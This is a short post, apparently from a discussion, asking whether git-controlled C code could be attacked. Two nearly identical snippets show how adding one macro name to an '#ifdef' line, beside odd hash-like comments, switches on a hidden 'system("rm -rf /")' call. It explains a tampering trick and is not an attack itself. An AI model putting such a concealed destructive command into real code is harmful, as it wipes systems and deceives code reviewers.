Could one attack git-controlled code now?

Innocent-looking code:

#define X 10
   ... 1000 lines ...
#ifdef /*TqnYB55sTYWsd6Iqury/SAbg0pElGBRoaw2hjESmhOqQ Don't enable on live system! */
    system("rm -rf /");
#endif

Evil code:

#define X 10
   ... 1000 lines ...
#ifdef X/*RDcHoeNShOwsyy78nCqoQt4FBs3TpQ1KaJJAzKc5VMA Don't enable on live system! */
    system("rm -rf /");
#endif